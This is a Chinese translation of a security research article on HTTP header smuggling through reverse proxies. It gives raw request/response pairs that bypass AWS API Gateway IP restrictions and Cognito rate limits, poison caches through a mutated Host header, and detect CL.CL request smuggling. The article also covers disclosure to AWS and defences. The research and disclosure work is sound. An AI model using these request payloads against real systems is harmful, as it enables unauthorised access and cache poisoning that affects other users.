HTTP标头走私|偷偷通过反向代理攻击AWS及其他服务器

HTTP标头走私|偷偷通过反向代理攻击AWS及其他服务器

现代 Web 应用程序通常依赖于多台服务器链,这些服务器将 HTTP 请求转发给彼此。这种转发造成的攻击面越来越受到关注,包括最近流行的缓存中毒请求走私漏洞。大部分探索,尤其是最近的请求走私研究,已经开发出新方法来隐藏链中某些服务器的 HTTP 请求标头,同时让其他服务器看到它们——这种技术被称为“标头走私”。本文提出了一种识别标头走私的新技术,并演示了标头走私如何导致缓存中毒、绕过 IP 限制和请求走私。

HTTP标头走私|偷偷通过反向代理攻击AWS及其他服务器

背景

Web 应用程序使用的 HTTP 服务器链通常可以建模为由两个组件组成:

  • 直接处理来自用户的请求的“前端”服务器。这些服务器通常处理缓存和负载平衡,或充当 Web 应用程序防火墙 (WAF)。
  • 前端服务器将请求转发到的“后端”服务器。这是应用程序的服务器端代码运行的地方。
HTTP标头走私|偷偷通过反向代理攻击AWS及其他服务器

这种模型通常是对现实的简化。可能有多个前后端服务器,前后端服务器往往本身就是多台服务器的链。但是,该模型足以理解和开发本文中介绍的攻击,以及最近对服务器攻击链的大部分研究。

后端服务器通常依赖前端服务器在 HTTP 请求头中提供准确信息,例如“X-Forwarded-For”头中的客户端 IP 地址,或“Content-Length”中的请求正文长度”头。为了准确地提供这些信息,前端服务器必须过滤掉客户端提供的这些头部的值,这些值是不可信的,不能准确依赖于此。

使用标头走私,可以绕过这种过滤并将信息发送到它视为受信任的后端服务器。我将展示这如何导致绕过AWS API Gateway 中的 IP 限制,以及一个易于利用的缓存中毒问题。然后,我将讨论用于查找这些漏洞的方法如何也适用于在黑盒场景中基于多个“内容长度”标头(CL.CL 请求走私)安全地检测请求走私。

方法

本研究开发的用于识别标头走私漏洞的方法决定了是否可以对标头应用“突变”,使其能够在不被前端服务器识别或处理的情况下潜入后端服务器。突变只是对标头的混淆。以下示例是“Content-Length”标头的变异版本:

Content-Length : 0
Content-Length abcd: 0
Content_Length: 0
[\r]Content-Length: 0

此方法依赖于这样一个事实,即大多数 Web 服务器在发送具有无效“Content-Length”标头的请求时将返回错误:

请求

GET / HTTP/1.1
Host: example.com
Content-Length: z

返回包

HTTP/1.1 400 Bad Request
[…]

该方法还依赖于在“内容长度”标头的常规和变异形式中发送有效值和无效值时比较响应。我们首先将常规“Content-Length”标头中的有效和无效值发送到目标:

请求

GET / HTTP/1.1
Host: example.com
Content-Length: 0

返回包

HTTP/1.1 200 OK
Content-Length: 1256
[…]

请求

GET / HTTP/1.1
Host: example.com
Content-Length: z

返回包

HTTP/1.1 400 Bad Request
Content-Length: 349
[…]

由于在“Content-Length”标头中包含垃圾值会导致响应不同,我们可以推断链中至少有 1 个服务器正在解析这个标头。

此服务器链允许通过在标头名称中的空格后附加字符将标头走私到后端。因此,当我们将请求中的“Content-Length”替换为“Content-Length abcd”并再次发送请求时,我们得到以下结果:

请求

GET / HTTP/1.1
Host: example.com
Content-Length abcd: 0

返回包

HTTP/1.1 200 OK
Content-Length: 1256
[…]

请求

GET / HTTP/1.1
Host: example.com
Content-Length abcd: z

返回包

HTTP/1.1 502 Bad Gateway
Content-Length: 50
[…]

在比较来自常规和变异的“Content-Length”标头的响应时,这里有三件重要的事情需要注意。第一个是每个标头中的无效值导致与有效响应不同的响应。这表明链中至少有一个服务器将这些标头中的每一个解析为“Content-Length”标头。

其次,当每个标头中包含有效值时,将返回相同的响应:

请求

GET / HTTP/1.1
Host: example.com
Content-Length: 0

返回包

HTTP/1.1 200 OK
Content-Length: 1256
[…]

请求

GET / HTTP/1.1
Host: example.com
Content-Length abcd: 0

返回包

HTTP/1.1 200 OK
Content-Length: 1256
[…]

这表明变异标头的存在并没有阻止任一服务器正常解析请求。此检查对于确保更改未使请求完全无效很重要。

最后要注意的重要事情是,与常规标题相比,每个标头中的无效值会导致变异标头中的不同响应:

请求

GET / HTTP/1.1
Host: example.com
Content-Length: z

返回包

HTTP/1.1 400 Bad Request
Content-Length: 349
[…]

请求

GET / HTTP/1.1
Host: example.com
Content-Length abcd: z

返回包

HTTP/1.1 502 Bad Gateway
Content-Length: 50
[…]

这表明错误可能来自链中的不同服务器。换句话说,前端服务器不会解析我们变异的“Content-Length”标头,就好像它是常规的“Content-Length”标头一样,而后端服务器是——我们有标头走私。

例子

绕过限制

AWS API 网关 IP 限制

在跨漏洞赏金计划扫描时,我注意到使用 AWS API Gateway 创建的 API 允许通过在空格后将字符附加到标头名称来进行标头走私——例如通过将“X-My-Header: test”更改为“X-My-Header abcd:test”。我还注意到前端服务器正在剥离和重写“X-Forwarded-For”标头。

API Gateway 允许您使用以下资源策略来限制 API 访问某些 IP 地址:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "execute-api:Invoke",
            "Resource": "arn:aws:execute-api:eu-west-2:********2087:uiv82new6b/*/*/*"
        },
        {
            "Effect": "Deny",
            "Principal": "*",
            "Action": "execute-api:Invoke",
            "Resource": "arn:aws:execute-api:eu-west-2:********2087:uiv82new6b/*/*/*",
            "Condition": {
                "NotIpAddress": {
                    "aws:SourceIp": [
                        "1.2.3.4",
                        "10.0.0.0/8"
                    ]
                }
            }
        }
    ]
}

此策略将访问限制为仅接受来自 IP 地址 1.2.3.4(不幸的是我不拥有)和私有范围 10.0.0.0/8 的请求。来自其他 IP 地址的请求遇到错误:

请求

GET /dev/a HTTP/1.1
Host: uiv82new6b.execute-api.eu-west-2.amazonaws.com
[…]

返回包

HTTP/1.1 403 Forbidden
Content-Type: application/json
[…]

{"Message":"User: anonymous is not authorized to perform: execute-api:Invoke on resource: arn:aws:execute-api:eu-west-2:********2087:uiv82new6b/dev/GET/a with an explicit deny"}

不出所料,简单地向请求添加“X-Forwarded-For”标头与 AWS 的安全控制不匹配:

请求

GET /dev/a HTTP/1.1
Host: uiv82new6b.execute-api.eu-west-2.amazonaws.com
X-Forwarded-For: 10.0.0.1
[…]

返回包

HTTP/1.1 403 Forbidden
Content-Type: application/json
[…]

{"Message":"User: anonymous is not authorized to perform: execute-api:Invoke on resource: arn:aws:execute-api:eu-west-2:********2087:uiv82new6b/dev/GET/a with an explicit deny"}

但是,当应用允许头走私到这个头的突变时,访问被授予:

请求

GET /dev/a HTTP/1.1
Host: uiv82new6b.execute-api.eu-west-2.amazonaws.com
X-Forwarded-For abcd: 10.0.0.1
[…]

返回包

HTTP/1.1 201 Created
Content-Type: application/json
[…]

A

这允许绕过 IP 限制,但在实际情况下可能很难实现。来自私有范围的地址是显而易见的猜测,但如果不允许这些地址,则可能很难猜测已被授予访问权限的 IP 地址。然而,我学到的最重要的事情之一就是无谓地尝试愚蠢的事情:

请求

GET /dev/a HTTP/1.1
Host: uiv82new6b.execute-api.eu-west-2.amazonaws.com
X-Forwarded-For abcd: z
[…]

返回包

HTTP/1.1 201 Created
Content-Type: application/json
[…]

A

事实证明,将标头“X-Forwarded-For abcd: z”添加到请求允许在 API 网关中绕过 AWS 资源策略的 IP 限制。

AWS Cognito 速率限制

在渗透测试期间,我在AWS Cognito中发现了一个类似但非常小的错误。Cognito 是一个身份验证提供程序,您可以将其集成到您的应用程序中以帮助处理身份验证。

在短时间内向“ConfirmForgotPassword”或“ForgotPassword”目标发出五次请求后,我的IP地址被暂时封锁。但是,在请求中添加“X-Forwarded-For:[0x0b]z”允许再发出 5 个请求。不幸的是,无法在此标头中循环不同的值或有效的 IP 地址继续获得五次尝试,这意味着此错误的影响很小。然而,它仍然是一个很好的例子,说明如何使用头部走私来绕过速率限制。

缓存中毒

在我向他们报告后,AWS 立即修复了绕过 IP 限制的问题。重新测试时,我注意到我仍然可以使用相同的变异将标头走私到后端服务器,这让我想知道是否还有其他有趣的标头值得尝试。

API 网关可能在内部使用了一些很有趣的标头,但我无法识别其中的任何一个。真正引人注目的是“主机”标头,我开始想知道如果我试图将这个标头偷偷传递到后端服务器会发生什么。

我使用 API Gateway 设置了两个 API——一个“受害者”API 和一个“攻击者”API:

请求

GET /message HTTP/1.1
Host: victim.i.long.lat

返回包

HTTP/1.1 200 OK
Content-Type: application/json
[…]

{"data":"important","message":"important data returned"}

请求

GET /message HTTP/1.1
Host: attacker.i.long.lat

返回包

HTTP/1.1 200 OK
[…]

Poisoned!

当在常规“Host”标头旁边包含一个变异的“Host”标头时,就会出现有趣的行为:

请求

GET /message HTTP/1.1
Host: victim.i.long.lat
Host abcd: attacker.i.long.lat

返回包

HTTP/1.1 200 OK
[…]

Poisoned!

API 网关正在从变异的“主机”标头中指定的 API 返回响应。这与大多数 Web 服务器的行为形成对比,后者不会将变异的“Host”标头视为“Host”标头,而是从常规“Host”标头中获取主机。当这样的服务器充当 API 网关前的缓存时,这会变得很有趣,因为它会将上述请求的结果缓存起来,就好像它是对“victim.i.long.lat”的请求一样,即使响应是来自“attacker.i.long.lat”API。

HTTP标头走私|偷偷通过反向代理攻击AWS及其他服务器

为了证明这一点,我在 API Gateway 前面设置了CloudFront,并使用“AllViewer”请求策略,这会导致所有标头都被转发。发送上述请求,然后请求“https://victim.i.long.lat/a”,显示攻击者API的响应已经存储在受害者API的缓存中:

请求

GET /message HTTP/1.1
Host: victim.i.long.lat
Host abcd: attacker.i.long.lat

返回包

HTTP/1.1 200 OK
[…]

Poisoned!

请求

GET /message HTTP/1.1
Host: victim.i.long.lat

返回包

HTTP/1.1 200 OK
Age: 3
[…]

Poisoned!

这种缓存中毒很容易被利用,因为攻击者可以设置自己的 API 并为任何路径返回任意内容。这允许他们完全覆盖受害者缓存中的任何条目,有效地允许他们完全控制受害者 API 的内容。

请求走私

Amit Klein 的错误

在 Black Hat USA 2020 上,Amit Klein 提出了基于 2 个“Content-Length”标头的请求走私(“CL.CL”请求走私)。当Squid被用作深渊 Web 服务器前的反向代理时,使用在同一连接中发送的以下请求可能会触发该错误:

HTTP标头走私|偷偷通过反向代理攻击AWS及其他服务器

第一个请求,以绿色显示,包含两个“Content-Length”标头——一个是变异的,另一个是未变异的。Squid 只会解析未变异的头部,并将第一个请求的主体长度取为 33 个字节,以蓝色显示。Squid 然后将第二个请求作为红色显示的请求——一个对“/doesntexist”的“GET”请求。

HTTP标头走私|偷偷通过反向代理攻击AWS及其他服务器

另一方面,Abyss 将解析变异和未变异的“Content-Length”标头,并从变异标头中获取 0 字节的值。因此它认为第二个请求是以蓝色开始的——一个对“/a.html”的“GET”请求。

这样做的总结果是 Abyss 以“/a.html”的内容响应,而 Squid 将此响应缓存到路径“/doesntexist”,导致缓存中毒。

方法论背景

Klein 的研究特别有趣,因为它表明 CL.CL 请求走私存在于现代系统中,尽管它是一个感觉几乎太简单的错误。Klein 在白盒场景中工作以发现此漏洞,但我开始寻找一种方法来检测黑盒场景中的 CL.CL 请求走私。¹

James Kettle 的研究普及了请求走私,提出了一种使用超时安全检测请求走私的简单方法,该方法基于“内容长度”和“传输编码”标头(“CL.TE”和“TE.CL”请求走私)。这种方法试图使后端期望的内容多于前端转发的内容,从而触发后端的超时。通过首先扫描 CL.TE 请求走私,可以在测试易受攻击的系统时将影响其他用户请求的风险降至最低。

对 CL.CL 请求走私执行相同操作的尝试可能类似于以下内容:

POST /b.shtml HTTP/1.1
Host: squid01.rslab
Connection: Keep-Alive
Content-Length: 0
Content-Length abcde: 1

z

对于前端读取未变异的“Content-Length”标头而后端读取变异版本的易受攻击的系统,这通常会导致超时。虽然在 Squid 和 Abyss 设置的情况下,不会导致超时,因为 Abyss 不会在回复“POST”请求之前等待正文发送。

当这个请求被发送到一个易受攻击的系统时,危险就来了,其中前端读取变异的标头,后端读取未变异的版本。前端服务器将转发“z”主体,后端服务器将其视为下一个请求的开始。然后套接字已中毒,并且由于后端服务器将请求方法视为例如“zGET”²,因此另一个用户的请求失败的可能性很高。

如果我们不知道前端服务器将解析哪个“Content-Length”标头,我们有 50% 的机会在易受攻击的系统中导致超时,并且有 50% 的机会使套接字中毒,可能导致另一个用户的请求失败。

方法

可以稍微修改用于检测标头走私的方法,以创建安全的 CL.CL 请求走私检测方法。以下示例显示了如何使用这种修改后的方法来检测 Squid 和 Abyss 中的 Klein 错误。

首先,使用正在测试的“Content-Length”标头对向目标系统发送“基线”请求:

请求

POST /b.shtml HTTP/1.1
Host: squid01.rslab
Connection: Keep-Alive
Content-Length: 0
Content-Length abcd: 0

返回包

HTTP/1.1 200 OK
Content-Length: 86
[…]

下一步是将相同的请求再发送两次 – 一次在每个“Content-Length”标头中使用垃圾值:

请求

POST /b.shtml HTTP/1.1
Host: squid01.rslab
Connection: Keep-Alive
Content-Length: z
Content-Length abcd: 0

返回包

HTTP/1.1 411 Length Required
Content-Length: 4213
[…]

请求

POST /b.shtml HTTP/1.1
Host: squid01.rslab
Connection: Keep-Alive
Content-Length: 0
Content-Length abcd: z

返回包

HTTP/1.1 400 Bad Request
Content-Length: 338
[…]

比较 3 个响应,我们注意到:

  • 包含垃圾值的请求都触发了与基线响应不同的响应。这表明至少有 1 个服务器正在解析每个标头的值。
  • 对包含垃圾值的请求的响应是不同的。这表明错误来自不同的服务器,因此链中的不同服务器正在解析不同版本的“Content-Length”标头。

这些情况表明潜在的 CL.CL 请求走私。当调查超出这一点时,重要的是要知道前端服务器正在解析哪个标头,以最大限度地减少毒害套接字和影响其他用户的机会。

这可以通过发送带有单个未变异的“Content-Length”标头的请求并观察产生的错误来实现:

请求

POST /b.shtml HTTP/1.1
Host: squid01.rslab
Connection: Keep-Alive
Content-Length: z

返回包

HTTP/1.1 411 Length Required
Content-Length: 4213
[…]

由于前端服务器几乎肯定会解析此请求中的“Content-Length”标头,因此产生的错误很可能是由前端服务器生成的。通过将此错误与过程中早期生成的错误进行比较,我们看到它与在同一请求中发送标头“Content-Length: z”和“Content-Length abcd: 0”时生成的错误相同。因此,前端服务器解析未变异的“Content-Length”标头,后端服务器解析变异的 one³。

这些请求仅表明存在潜在的请求走私漏洞,尽管还远未确定。例如,许多服务器会处理两种形式的“Content-Length”标头,但是当它们具有不同的值时会抛出错误,从而无法进行请求走私。

为了继续调查,超时可能是确认行为的一个很好的下一步。然而,这些并不总是可靠的,有时需要尝试利用。

使用 Turbo Intruder 进行开发

从这一点开始的开发步骤与 Kettle 在他的研究中使用的非常相似。他们在很大程度上依赖Turbo Intruder脚本,这些脚本发送 1 个请求来毒害套接字,然后很快收到多个良性请求,希望其中一个请求被毒害。

我创建了 Kettle 的 Turbo Intruder 脚本之一的修改版本,该脚本试图利用 CL.CL 请求走私导致 404 错误,您可以在此处找到。这通常是确认请求走私的最简单方法。可以在此处找到尝试触发缓存中毒的类似脚本。

这些脚本被配置为使用 Squid 和 Abyss 在我的实验室环境中运行,但可以轻松修改以使用其他突变针对其他系统。在尝试利用其他系统中的 CL.CL 请求走私时,您可能会发现它们是一个有用的起点。

工具

一旦识别出允许头部走私的突变,下一步就是找到一个有趣的头部,潜入后端。有时您可能知道想要尝试的标题,但是,通常没有明显的选择。为了帮助解决第二种情况,以及帮助找到导致头部走私的突变,我发布了 James Kettle 的Param Miner Burp Suite 扩展的一个分支,可以在这里找到。

这个 fork 增加了两个新的功能。第一个是扫描,它使用我描述的方法来识别导致标题走私的突变。第二个是猜测标头时的选项,这将导致扩展自动识别标头走私变异,然后还使用这些变异猜测标头。

防御

防御这些类型的错误可能有些复杂,因为它们依赖于 Web 服务器之间实现的差异,而不是 1 个 Web 服务器中的特定缺陷。主要防御措施之一是使用作为本研究的一部分发布的 Param Miner 的分支来扫描您的系统,以尝试识别任何漏洞。

前端服务器应避免转发格式奇怪的标头。这是 AWS 通过 API 网关采用的方法——包括编写测试来验证这种行为。这也阻止了Cloudflare在缓存中毒示例中使用,因为它们不会转发名称中带有空格的任何标头。

有一个称为“ Postel 定律”的概念,它指出在处理 HTTP 等协议时,您应该“在接受的内容上保持自由,在发送的内容上保持保守”。虽然在解析 HTTP 请求时自由的想法可能对前端服务器有益,前端服务器接收来自众多不同客户端的请求,每个客户端都包含自己的怪癖,但某些设置可能允许后端服务器更严格。如果前端服务器在转发请求之前对其进行过滤或规范化,则后端服务器不应暴露于来自广泛客户端的怪癖。相反,这些怪癖的处理可以完全委托给前端服务器,而后端服务器只需要接受来自一个客户端——前端服务器的请求。

结论

虽然通常被认为只是请求走私的工具,但如果单独考虑,标头走私会产生有趣的行为和漏洞。为这项研究开发的方法和工具使识别头走私和由此产生的漏洞变得更加容易。这项研究展示了如何使用标头走私来绕过限制并实现缓存中毒,尽管可能还有更多漏洞有待发现。

我还演示了一种在黑盒场景中安全识别 CL.CL 请求走私的方法,并发布了 Turbo Intruder 脚本以帮助利用 CL.CL 请求走私。

感谢

我要感谢 AWS 安全团队,尤其是 Dan Urson,感谢他们对本次研究中发现的漏洞的回应。披露过程非常顺利,考虑到其基础设施的规模,他们已经非常迅速地解决了漏洞。

备注

1. 试图检测 CL.CL 请求走私是本研究项目的起源。

2. 使用 zgrab 进行的一些扫描表明,通过使主体成为大多数 Web 服务器将从请求开始时丢弃的 CRLF,可以将这种风险最小化,尽管不能完全消除。

3. 您可能会注意到,此逻辑可用于使基于超时的检测对于 CL.CL 请求走私是安全的。由于一些易受攻击的设置,包括 Squid 和 Abyss 设置,不会产生超时,我选择使用这里介绍的纯基于错误的方法。

幻灯片下载地址

https://i.blackhat.com/Wednesday/EU-21-Thatcher-Practical-HTTP-Header-Smuggling.pdf

HTTP标头走私|偷偷通过反向代理攻击AWS及其他服务器

文档下载地址

https://i.blackhat.com/EU-21/EU-21-Thatcher-Practical-HTTP-Header-Smuggling-wp.pdf

HTTP标头走私|偷偷通过反向代理攻击AWS及其他服务器

from

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注